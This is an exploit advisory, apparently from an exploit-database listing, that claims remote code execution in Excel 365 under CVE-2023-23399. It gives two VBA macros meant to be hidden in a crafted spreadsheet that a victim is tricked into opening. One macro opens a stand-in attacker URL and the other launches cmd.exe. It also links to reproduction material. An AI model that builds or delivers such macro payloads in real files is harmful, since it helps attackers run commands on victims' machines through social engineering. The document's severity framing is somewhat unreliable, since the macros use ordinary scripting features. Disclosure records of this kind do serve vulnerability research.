## Exploit Title: Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE)
## Exploit Author: nu11secur1ty
## Date: 03.16.2023
## Vendor: https://www.microsoft.com/en-us/microsoft-365/excel
## Software: https://www.microsoft.com/en-us/microsoft-365/excel
## Reference: https://www.invicti.com/learn/remote-code-execution-rce/
## CVE ID: CVE-2023-23399
## Description:
The malicious user can exploit the victim's PC remotely.
For example, when the score indicates that the Attack Vector is Local
and User Interaction is Required, this could describe an exploit in
which an attacker, through social engineering, convinces a victim to
download and open a specially crafted file from a website which leads
to a local attack on their computer.
STATUS: HIGH Vulnerability
[+]Exploit0:
```
Sub Check_your_salaries()
CreateObject("Shell.Application").ShellExecute
"microsoft-edge:https://attacker.com"
End Sub
```
[+]Exploit1:
```
Sub cmd()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "cmd.exe"
TaskID = Shell(Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-23399)
## Proof and Exploit:
[href](https://streamable.com/dnyfx0)
## Time spend:
03:00:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
